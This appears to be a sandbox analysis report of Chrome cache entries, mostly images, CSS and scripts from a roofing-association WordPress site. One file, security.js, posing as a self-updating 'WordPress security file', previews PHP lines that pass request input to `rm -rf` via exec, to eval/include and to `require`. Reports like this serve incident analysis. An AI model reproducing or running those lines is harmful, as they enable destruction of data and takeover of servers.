SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884090256
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65465)
Category:	downloaded
Size (bytes):	193474
Entropy (8bit):	5.404522545715823
Encrypted:	false
SSDEEP:	1536:6ast/w67FkNuGQRIFN8SlP1CicZ7xr9TdcADb2NFXExoHnlGqFH1nffzgQLugGUG:jCwTXFNhlP4ZTvDqP8oHl9Hhz3Vzwx
MD5:	0F03CB726E27F7EC9FF0D7FE50D7DE72
SHA1:	3290D0AE86419CCE4C4069CDD1081E15677AD0F0
SHA-256:	A62F2C0519D7FD8026C2590579549F279211F0144CCC7CDD0142CED78C9F76D4
SHA-512:	E3EE7492A23F99E815FCF4801085D72730C24C20B04CA4AA10EA0B0057547A26DEC9DA55CAC8EFAA341C53968EC852EA550CD9E4925F5F0F4618FE207A86C468
Malicious:	false
Reputation:	low
URL:	https://cdn.feathr.co/js/boomerang.min.js
Preview:	/! For license information please see boomerang.min.js.LICENSE.txt /.!function(){var t={2489:function(t){for(var r=Math.floor(16777215Math.random()),e=f.index=parseInt(16777215Math.random(),10),n=("undefined"==typeof process\|\|"number"!=typeof process.pid?Math.floor(1e5*Math.random()):process.pid)%65535,o=(()=>{try{return _Buffer}catch(t){try{return Buffer}catch(t){return null}}})(),i=function(t){return!(null==t\|\|!t.constructor\|\|"function"!=typeof t.constructor.isBuffer\|\|!t.constructor.isBuffer(t))},c=[],u=0;u<256;u++)c[u]=(u<=15?"0":"")+u.toString(16);var a=new RegExp("^[0-9a-fA-F]{24}$"),s=[];for(u=0;u<10;)s[48+u]=u++;for(;u<16;)s[55+u]=s[87+u]=u++;function f(t){if(!(this instanceof f))return new f(t);if(t&&(t instanceof f\|\|"ObjectID"===t._bsontype))return t;if(this._bsontype="ObjectID",null!=t&&"number"!=typeof t){var r=f.isValid(t);if(!r&&null!=t)throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters");if(r&&"string"==typeof t&&2

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 500 x 750, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	109011
Entropy (8bit):	7.989179275946445
Encrypted:	false
SSDEEP:	3072:w7/t4J3asQ2D5dMHpbo8r44zrlgqT85bzJa:kG1rZDDubgCgqT85w
MD5:	35D0BFAD47D24074D0BC959A04348715
SHA1:	768E84C8D2C624B76EBC86E8112DF33116557910
SHA-256:	9978DC2FCFFD3C6E455F6F3BF1621C709729DC40506AB96EA1E98F52E8A3CD34
SHA-512:	442523C939809AF9C8A84750FDDAA3A0648ED72460CC091E57135EB7CEB0AE2E29842AB136FC417CF4DD792CC5921BDCAD48D8174193728B9A5C57BE8FB8473F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/135083026.png?id=57
Preview:	.PNG........IHDR.............o.......PLTEGpL.......................x......x.$p. ..../....\.....L=<j........)..2...,."...O.%....5c....:.nD..wY>Z....Cc...jICz4O..X..N@&,........`.3?.(......Rt..K...v..u\U...d;c&A..`vPv...#<z^:..i81G..Q..Df3Ox.5../R$:@..\........h..s+..0)2S./.VxIMm.wM.}.Q..eMq.i^... A.`...9...qT1........l..07Z..s&AaG'..F.uiV/G..+.1tn}..YP.=epD_..k.h_....\|.......}...J.vhP7..?aqj..yi.....Xo.8J{.3R.8^Ub......8eh+6.\|m.j..k.....g:.....W.......z..^~.M.Z}...b..q.X.sJ..i..K......tRNS..'..P......o......IDATx.._.i.>.T....+..}'T...H.j.is.f.,.....2f.RQd.dk.Hic.....;..o^...q.../.L....}...y.....8.1.q.c....8.1.q.c....8.1.q.c....8.1....o3~..Eg{.9....Z....S3w.g.&p...?.....X...V..w.}..3..c>w.@g.3g:W;W.u{m-...`.n.f'.....*5^......b.C0?C...Y]=...9G.O..1....y....;WW..uvj..ho...:.5i.s...z............^c......K........3..K.}.Zc....,.t..euWV.L...>.xg...?@.V..oV.].~.SC.0.......a....S.......\..w^9S..0.<.B8.....1'....\O.........3.'C....I../.

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H5ib:U
MD5:	0BEC120C4F5E1B69B919F3E6A6938178
SHA1:	E9D74B8762AABA6D5E2E30E90B2D62D456A6A1C4
SHA-256:	A9114E1BC8692DE2D2BEFB0074D6C3C49F48D47C285B70EE33B8EBEB36E262D9
SHA-512:	16BE2B9B882DC42B4ADD03AE7CCCBD38AA4560873ACA7C1A997F46E36ECCDC799DCC9E720A773AAD629054538E17151493247BD72811488AF0EDF9FBA5B37C5B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAmeozBXDYBE_RIFDUvYYhI=?alt=proto
Preview:	CgkKBw1L2GISGgA=

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884062447
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	20639
Entropy (8bit):	7.934950816480494
Encrypted:	false
SSDEEP:	384:6O8GJAcueWy2aPnPK/CllT0YH1ukoXzyJatCvegyzzboJN1HpO6r2A:t8EAcvW+KKDT1xoXzz0eloJN/Oe1
MD5:	660BCC8B3947D707B8C847688B07DB5F
SHA1:	9E1E46BDDACEB1576DD78EFBF133C92F1D776331
SHA-256:	5F5377655C2A82071A562122B80817EB8882BD78F86F753097E8191FD247575D
SHA-512:	98EF63CDAFCF4DB60809E15EF42525340BBCFC5E9771EB55508DFF4A1D8A921F8F86AE1D7089104CA40B1A07F328FF2B4FBF47AD082E90BE6CCCCA29B82CF453
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png
Preview:	.PNG........IHDR... ..............-PLTER.....k)"o$.h,&Q..........PPP,,,....[Wrpp...b..A..P-IDATx...o.6...&DQ.-"......x.n.1.d.A.`.(...d'....b.m...v..=E.x.A/E...z...b.^.E]$...J..!ER?)..<:@..$[....../..2..[..=...V....b.B...(.......B@!.........P.(...B@!..P.(..... ..P.....B..(.......B@!..P.(...@@!........B@!..P.(........P.(...B@!..P.(......t....u....H....c......H...aR...>. ..BZ.T!...\|......-..E..~W...........B.J..&@...)....@.P....@..e....t.C</.......^."jj...V..@..u).-..r.X ).I^?..ay. ......B..D!.E\...^\|.v<'...)$..}!.A!}......D!....}>d.9,.....W`...v..p%5J.B.p..@....;r%.....7,_v.Q...^...i...j6Z!...y...asR...u...z..c..6(d.`]..H..5......Wr.....s.....)U..aw...'..=q.{Y....V...........!..k..fC .E5g.?l..Y`%..@.....;..l.B.SR..m.dW]..>.{.......}....~z.........w7n.........E..6....j.:w.Vr.._.\..*..r.@.i.D.u..1@n.5....8..Q....i.:......... .@@!m\.S..B..R.u.B:.R.u.B..R.u...=.0\|5n .......I..B0r...........,@!..Y8-.(D...ux.(...x......$......5........W.D.Q..D..V!40..@N....

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3511), with no line terminators
Category:	downloaded
Size (bytes):	3511
Entropy (8bit):	5.26223012360171
Encrypted:	false
SSDEEP:	96:MegT4ebw4DEmOw4ObhWcttUMWEObEsn3siIg:zojbQz8Wct7OVsiIg
MD5:	16733EFFCA8D0CC39B4A03989CC49F25
SHA1:	59419BBB6F253BF91297C51BD9EFB367054B51E2
SHA-256:	229B079D65362CC9A20C64419F5BB6CD3E88CDC6FB4B4236E01DA9A88643E8DD
SHA-512:	58A44E416BD6F87223E5E2415C04B3D4A7D4AEAADB8F9DB06C7BFF348649FF130C217FDB7645413B989951A2B4847BA51FFC0813EBEF077C851715B341DEB8C5
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/row-separators/row-separators/js/min/script-min.js?ver=1.4.2
Preview:	!function(){var t=function(){var t=navigator.userAgent,e=t.indexOf("MSIE ");if(e>0)return parseInt(t.substring(e+5,t.indexOf(".",e)),10);var a=t.indexOf("Trident/");if(a>0){var i=t.indexOf("rv:");return parseInt(t.substring(i+3,t.indexOf(".",i)),10)}return!1},e=function(t){var e=t.parentNode;if(e.classList)for(;!e.classList.contains("vc_row")&&!e.classList.contains("wpb_row");){if("HTML"===e.tagName){e=!1;break}e=e.parentNode}if(e!==!1)return e;e=t.parentNode;for(var a=!1;!a;){if(Array.prototype.forEach.call(e.classList,function(t){if(!a)return t.match(/row/g)?void(a=!0):void 0}),a)return e;if("HTML"===e.tagName)break;e=e.parentNode}return t.parentNode},a=function(t){var e=t.parentNode;if(e.classList)for(;!e.classList.contains("vc_column_container")&&!e.classList.contains("wpb_column");){if("HTML"===e.tagName){e=!1;break}e=e.parentNode}if(e!==!1)return e;e=t.parentNode;for(var a=!1;!a;){if(Array.prototype.forEach.call(e.classList,function(t){if(!a)return t.match(/column/g)?void(a=!0):v

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 600x400, components 3
Category:	dropped
Size (bytes):	31679
Entropy (8bit):	7.969251299978385
Encrypted:	false
SSDEEP:	768:tTz/De1t1/kjWRhZCdcNMiJ0ZfgjhKUmUU:9zayjClGiSZUyL
MD5:	D18E4BC75C521E465ACFA9BC68ADDA02
SHA1:	AC06E876FF7487BCD78EE9712BEECA7F75602524
SHA-256:	86A06C0684CEA012EE4A5B17B98B5BC8825E9F738AF6B9A616F4170C1CCB2CB2
SHA-512:	9EBB957ED9AAA56A2CED9F21634E3510678EC569C0DBCFF9D6D86AE9898996E5E9AB0A5BD9FF6C82D15AABCDB0E3A9932F4F26D2EBB934CBAAFC5259FCF8A537
Malicious:	false
Reputation:	low
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq..............X.."................................................`......................(...H.>................&..E..2/.....gf................x...*zwE..."^z................[..c4V.PV.UoCE..h=+~..............~Z.G.l!..~oU.....oW#..............#9..'!!.e<.I....^.3.3..............G.dz...m....?g[e..K?..[.............9..Uy..e.....?.O...z.'...............9...::..,=nG9....b.j.t................r..y.w...f...;H.8.:......-`...........VS;\.G#...%...^..G@................g.oab.O;2.K.....[YK.....8....e...........:....b.n....O.Y...W.0..$X.9..y.:/..6.......&G....Kv.K..y.3..{..`G..q'%.YR..n............?=...Z...1P..zE.F6..F.....z.6...f.....m.....ll...%).[.....i2=4.rgU.k.........[P......].....G..JP..b.@......1...)..........v.b.+K..E5/3..k.b.:&.._..:.q.#.&K..i.E..V.).......6..NK.....Y.DgZ:s..[.Myg#......Dw.mb..%Hz.Ld8.......,).

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	51214
Entropy (8bit):	5.049362492626419
Encrypted:	false
SSDEEP:	768:5pm0yEvI9L9G3LgaNILxGAsuESsgfTgPy2F:50wvg1+QxGAsIs2TD2F
MD5:	E5B4E736CA67603CA13F3608B711F3CF
SHA1:	9FB33BB55FC21A9345F0D8F22A244853F5B5E2B7
SHA-256:	41E2D52DEFC7434E51E2F87A50063378C0769942FEA718DD8B25700AE4D9ECCA
SHA-512:	2176336E73D734F45202DCCA33C9A21663DD35BEB5713F0E75D970B0FCE3A6F71427E8842E845DAE7898ADCEF007D0E2C64D80C973CCA95322A750D0A3FBC213
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/templates/buckhead-jt/css/editor.css
Preview:	/* removed these to accommodate older existing tables: table, caption, tbody, tfoot, thead, tr, th, td - also removed sup & sub /..html, body, div, span, applet, object, iframe,..h1, h2, h3, h4, h5, h6, p, blockquote, pre,..a, abbr, acronym, address, big, cite, code,..del, dfn, em, font, img, ins, kbd, q, s, samp,..small, strike, strong, tt, var,..b, u, i, center,..dl, dt, dd, ol, ul, li,..fieldset, form, label, legend {.. margin: 0;.. padding: 0;.. border: 0;.. outline: 0;.. font-size: 100%;..}../ tds have a 1px padding by default - reset from above /..td {padding: 0;}..ol, ul {list-style: none;}..blockquote, q {quotes: none;}..blockquote:before, blockquote:after,..q:before, q:after {content: ''; content: none;}../ remember to define focus styles /..:focus {outline: 0;}../ remember to highlight inserts somehow /..ins {text-decoration: none;}..del {text-decoration: line-through;}../ tables still need 'cellspacing="0"' in the markup */..table {border-collapse: col

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5128
Entropy (8bit):	7.927762765485592
Encrypted:	false
SSDEEP:	96:ywT3asJwAChJNx/cHBIxknAiKH+lhwW69gCIU3fWHjR34hNaJpE:ywT3LRC3ksknAiKmeWrCIU3IjR3wNarE
MD5:	042764B6C580888A0D7676340C033AA4
SHA1:	B4C1AED305C79BB7E4AFD470D1CB2EABDB2ED44F
SHA-256:	DB8B87252EADA43A7A0B6D5E03DCB5CC43D42D6C4A05D39F3EEF8290A5F79C84
SHA-512:	2CE2F234BB78CDDA762F3F36FD923A4BAEB66A89D9EF3211926049EEA3834DDD289C6B9CC8F2E97E811BEBF5D2D2F28796AE6CAA5BB6A318079D7A7CB62865AD
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png
Preview:	.PNG........IHDR...,............ ....PLTEZ3-,..xKD.........K..k..t .m..t ..Q2.\8..Z..Z..Z....................Zt .t .O..L....................N..a..t ..3+....n..Z................N...... tRNS....3H>Fg!....3g3a............m........IDATx...s.....pT.,.>.c[.&..........!0..R5.l.F..V...z.r.".....}J<.G..b1:.o.p.h.e...qD..H...8."...uy.J.5.v....<.m.\|.L&s.L..,..x.]Xo..E=..`.cc.g.b6.a..~.;HV4w`....?.....A~.X...L.k..9H..........pb.HX...8...M.9...Z.L..F..%..3'.S.....M<.1R8.29......{<...,+E..aN.I...L.....p.H.UB)"X$YS.284..Mg.....H.q.Y..(Y............<........f...&xnb%......PC.......d<...#.......b..vS..!Y0....F..y....q.....X.]...[.....+.x.S..g.....".ee.......\|X337.E.r..c{....b..$kl.,k......bwt..x#.HxtX..)...wN0..!..f.1Q...G..j.X(.%.(R5.`Mx.c`...n.i./Y...2.R...2,.v.X..5....L.....{..O.,.H.0.]...j.L.5Z.\OL.....1..(XAW.....dM...ESg.a.3SC..7....A^.].M.....+{M......,.....7.......%...M<..+8..0..................XL37C....=..o.........v..6..iP.@....pw<..>,.......D...~...}.Z

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3024 x 4032, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1339120
Entropy (8bit):	7.993869586337105
Encrypted:	true
SSDEEP:	24576:9tKhE5KuEG1B3l7H2uH/NZ0WPMyGO4Qp3vHnRd5ECOXITL/VNXuNp1O2r5Zy0CX:7KhstDvH2ufNuWzphiITL9h+r5jCX
MD5:	340687CA7AEB1B97D9554D34BAA5E5F3
SHA1:	648F1900556FE7FF6AE91C5DDD080026FC859A48
SHA-256:	A7D4665A98B2A2EDA1700C91CFD7D23BEE49CD6CCB57E8AE2ADE1AFC3F7FE432
SHA-512:	C5A92235EC1BA3E4CC93550F2641524D978074EFA002C0F68E1653176B2D46032523888FCEC66F08667AADE5BA62E5F2EBB41E29235C8D013FF8F855FFD7BA7E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2018/04/3-tab_Phone.png
Preview:	.PNG........IHDR.............R5.q....pHYs..........+......gAMA......a.....sRGB........0PLTE...............~...u]r..i...eQ.sc.S?hD6-.....0R....nIIDATx...r#..C.<."....W..X...._..mI........?....'..w..........]}..~c`..\|.G.........@].x3..Z.?......<..wu?~....?.].7....w.w;....q]y....^A..!............1...^.o.ws....W...x..+..........9.Z..7.5....B?.Z...._...})..O.......2...g...}&.X.^..........w..V.G?..0o..<...K!/.....Q.L......V....TF..f....uI..._..}... o.........+s./>.1~....../Z.....d9.U1.K}.....6.W.]...z.z.._...}....<...O.G...uc.G.C]..\|..O..k...W>.OW.~t.E=.y.&........uT.._.....O...^......e...}O_...z...ZI.^(...<.U....Ws....u<}...2.W..\|.b ...).-.x.-.W.q\|\.}h....>J..._\.^w..W.{.k.........`{.77.U.....~la....W.........D.c.w ...e.b.i......ur_(x..g.3..J:k..%....E.........Z..~T-/\|`..~.X..`.E?E}EG'[...0.U....S...o.oa-.}..{=.."caU.../.......&.._]....?.~.. n..y...f...Z....p..I.U......../.7...f}...Ul.Yq.Z".....)?.../.)..D._.X....<'.......dqEZ...}..%7$w.zJnn..

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	931
Entropy (8bit):	4.647410979933825
Encrypted:	false
SSDEEP:	12:UgAC7ZQRtZvrRcddZZkrT1fjAPIaj6a3oaaNoacYLCa8LgLxec9LguBbLgELg4hY:Jepmg/iZg1WPaHxegU
MD5:	33732CA8FB6A8FBA6A3B64376576B089
SHA1:	3B8080AB7104DBB3517BAA3443500CBD1F2959F5
SHA-256:	B20D44183E01F5B1ED189FFF1CB651C432EAAF2C19CC2265D64BC4F08388F52C
SHA-512:	E2AC89B3C12E9FA9CB83CF8D01B89CF05404737303D9F314F733077CEF60054BA83FDAA7A22EA030D89666107A9A9E7207171F3E6EFC20CEAF48F9E77B835D24
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.slider.css
Preview:	/* Slider.----------------------------------*/..ui-slider { position: relative; text-align: left; }..ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; }..ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; }...ui-slider-horizontal { height: .8em; }..ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; }..ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; }..ui-slider-horizontal .ui-slider-range-min { left: 0; }..ui-slider-horizontal .ui-slider-range-max { right: 0; }...ui-slider-vertical { width: .8em; height: 100px; }..ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; }..ui-slider-vertical .ui-slider-range { left: 0; width: 100%; }..ui-slider-vertical .ui-slider-range-min { bottom: 0; }..ui-slider-vertical .ui-slider-range-max { top: 0; }

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6155)
Category:	downloaded
Size (bytes):	6249
Entropy (8bit):	5.5164622343712
Encrypted:	false
SSDEEP:	192:SnD6uQkCcmHg48GLXDcrnk5XN1j8HcwM/X:SntRjrk/1cM/X
MD5:	B90EDA8BD73FF6DEFF9C7E2FCE5F5CEA
SHA1:	963257E79455B7A4EF296F23EA3798515D86C2BD
SHA-256:	C84B08237D738E0A5AC48E30E8E6941C169A0A4B8B968906BE23ABD216D71680
SHA-512:	9445900940CCC3EE82AF8E1C5CA667DC71123B24A0FFBF3DC54EB2636DA88054C508FB5419FCC2D1F614B07A2731071AD763D7004532F67BE8828478B68B50C1
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/tablepress-combined.min.css?ver=6
Preview:	@font-face{font-display:block;font-family:TablePress;font-style:normal;font-weight:400;src:url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAPUAA0AAAAACZAAAAN+AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCUhEICoQIgnILFgABNgIkAygEIAWGcgeBARv6B8iuBzK53oAhKg2KWDsrezjalSefocfD9/uZ575PSbYEqJHAIdo6tMDGdCprFIHd+F9r+rZE46O2iHBJfoAuxwW0yfgKS8KGVFE4dHX1gPmgVhzwhcJbReQ9RWXcraeutbmNHE7T7B1sex8stfMfnkvv0XsgUZrYO1hirXme9TnUkBvQ22RGX50VAr48H54Cn9b8GD73edAAhjboBpIQ6kKOhCz7GA8V5HfzyeA6h0mnrFTJnPjxC7KCrl9caqIUg0EAYACGDBn6YGCxeIE+EkwANTWJX/brZpNfyE5o/7r9uPZjS4tESbCTExLCjxOEbxGi2dQeNEAXUMMlvADkqSV0IHXtkQXNOnI2ctJpRIPt8+HjNivx3rlQYA8FqGwdCxF2aZrdJluMnaqFvy+yngVKbBcn0fSOd1xTpnW4HTkptV8Gi2kvCeUHC0BD+D0VKMIqXniZPJyPya9D7gT6DvUpwJER6avgKDsOfW9jU+YGc/ng6MhA3VSar3NdtvrD9WHZurKVKYOi0RwlY9500YSuWDE084F+jMinu4sTudD5yBTTozA9Horpmb+M3TwIBHempnzdpu1/raWypX0JND/ki4p71CQQlFqnAvkijABrVFIq5BdNJbFncoBOF03/h3IINPQRBxJCYDoAOnkRIDR0w0BSmYiBzDinAuQ6eROg0DEGY6DUiEUYqKyILwFq2qS9GKhrpFsykdeFLmDjknYG4jKbNeNyQ1zh

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	16321
Entropy (8bit):	5.123789912770354
Encrypted:	false
SSDEEP:	384:t1+YKzovw0MS/PKEgGN84Va2LNqN/Xu0AN8:tFwCKovGvu0AN8
MD5:	140A20CBB55E924B9ABAD298ABDF91D1
SHA1:	0A2A724844AC4635BA803F1E7A927C42FDE47102
SHA-256:	E5A50BAE87EB6719D973A837EDBF2F8D44A1EBAD1BB496D099171FA67647351F
SHA-512:	48B57A8DA4C98BC1EDD473FB8D0946FD7A1FA2BAEE60EF9170F757F63231753A5D7BA9F04F393CD9E89E2DE269591E4801A9E485E2C6E7BA5B8187FF7BE0A1F1
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/joomla.javascript.js
Preview:	// <?php !! This fools phpdocumentor into parsing this file./*. @version..$Id: joomla.javascript.js 14401 2010-01-26 14:10:00Z louis $.* @package..Joomla.* @copyright.Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved..* @license..GNU/GPL.* Joomla! is Free Software./../. method - protect console. desc - JG method./..!window.console && (console = {});.console.debug = console.debug \|\| $.noop;.console.info = console.info \|\| $.noop;.console.warn = console.warn \|\| $.noop;.console.log = console.log \|\| $.noop;.window.cl = console.log.bind(console);.../. Overlib Styling Declarations to allow CSS class override of styles. . /..var ol_fgclass='ol-foreground';.var ol_bgclass='ol-background';.var ol_textfontclass='ol-textfont';.var ol_captionfontclass='ol-captionfont';.var ol_closefontclass='ol-closefont';..// general utility for browsing a named array or object.function xshow(o) {..s = '';..for(e in o) {s += e+'='+o[e]+'\n';}..alert( s );.}../*. Writes a dynamical

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2924)
Category:	downloaded
Size (bytes):	27999
Entropy (8bit):	5.557202106537271
Encrypted:	false
SSDEEP:	768:wF0Fg5t99upKk89s6xMNdYy2DJZyXGsJYphU0QMuMpbpRcxC/rI2hH2IT5xs:weC7M0rq
MD5:	E820D691074AEA0597BB293257174D9C
SHA1:	FA7DD71199D074334C1A00ED9AF866E0FA8AC6CD
SHA-256:	52B2A0F543D748836B4F36D457CC86CCA324E00C700BCE5B6251F717B81BC943
SHA-512:	08B7872A813A26B8557D35F587DDCE9CC9DF86F69382DB504F9A65F4C5B2046F9F57301145FF4C72A0FCA7AF0A061A16A2CDB8290417A931BABCE87A62C0EA9E
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/onion.js
Preview:	google.maps.__gjsload__('onion', function(_){var OMa,PMa,hR,kR,jR,SMa,TMa,UMa,RMa,VMa,lR,WMa,XMa,YMa,ZMa,$Ma,aNa,cNa,dNa,gNa,nR,iNa,kNa,nNa,jNa,lNa,oNa,mNa,pNa,oR,rR,sR,qR,tR,uNa,vNa,wNa,uR,xNa,vR,yNa,wR,xR,zNa,ANa,yR,DNa,CNa,BR,GNa,HNa,INa,FNa,JNa,LNa,DR,PNa,QNa,RNa,KNa,MNa,NNa,TNa,CR,bOa,cOa,fOa,eOa,FR;OMa=function(a,b){_.H(a.Ig,1,b)};PMa=function(a,b){_.H(a.Ig,2,b)};hR=function(){QMa\|\|(QMa=[_.L,_.K,_.M])};kR=function(a){_.zI.call(this,a,iR);jR(a)};.jR=function(a){_.RH(a,iR)\|\|(_.QH(a,iR,{entity:0,Dm:1},["div",,1,0,[" ",["div",,1,1,[" ",["div",576,1,2,"Dutch Cheese Cakes"]," "]]," ",["div",,1,3,[" ",["span",576,1,4,"Central Station"]," ",["div",,1,5]," "]]," "]],[],RMa()),_.RH(a,"t-ZGhYQtxECIs")\|\|_.QH(a,"t-ZGhYQtxECIs",{},["jsl",,1,0," Station is accessible "],[],[["$t","t-ZGhYQtxECIs"]]))};SMa=function(a){return a.ij};TMa=function(a){return a.Wk};UMa=function(){return _.pH("t-ZGhYQtxECIs",{})};.RMa=function(){return[["$t","t-t0weeym2tCw","$a",[7,,,,,"transit-container"]],["display",f

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1390)
Category:	downloaded
Size (bytes):	2361
Entropy (8bit):	5.317410539770586
Encrypted:	false
